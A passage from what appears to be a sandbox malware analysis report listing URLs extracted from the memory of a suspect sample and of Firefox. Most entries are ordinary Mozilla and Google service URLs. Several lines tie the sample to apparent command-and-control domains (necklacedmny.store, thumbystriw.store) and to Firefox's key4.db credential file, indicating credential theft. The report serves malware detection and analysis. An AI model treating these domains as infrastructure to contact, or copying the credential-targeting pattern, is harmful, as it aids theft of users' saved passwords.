Source: bd73c9fe1b.exe, 0000000B.00000003.2778421995.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiS
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiYQs
Source: bd73c9fe1b.exe, 0000000B.00000003.2779867197.0000000001123000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2786342374.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apia&
Source: file.exe, 00000000.00000003.1760931078.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiwor
Source: bd73c9fe1b.exe, 0000000B.00000002.2785929222.0000000001107000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2780262406.0000000001106000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.00000000010F2000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2762007313.0000000001107000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2746148779.0000000001106000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2728793173.0000000001102000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2745334524.0000000001102000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2731375932.0000000001106000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2779522106.00000000010F3000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2779682016.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/dtrol914
Source: file.exe, 00000000.00000003.1778457016.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774743294.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002094324.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2054218674.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/j
Source: bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: file.exe, 00000000.00000003.2002303728.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiK
Source: file.exe, 00000000.00000003.2002303728.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apia
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_setUpMenulistPopup/
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Web
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1716497925.0000000005270000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460025657.00000000055C2000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604318453.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2796456742.00000295E6EE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmedia.autoplay.blocking_policymigrateXULAttributeToStylehttps://screensho
Source: file.exe, 00000000.00000003.1716497925.000000000526E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1716565971.0000000005267000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460025657.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A95000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604318453.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1716565971.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1716497925.000000000526E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1716565971.0000000005267000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460025657.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A95000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604318453.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1716565971.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.2002303728.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbystriw.store:443/api
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000002F.00000003.2873867404.000001B2AC2CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2873278783.000001B2ABFDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2875366283.000001B2AC2EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-west-first-party-cookies).
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2EE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
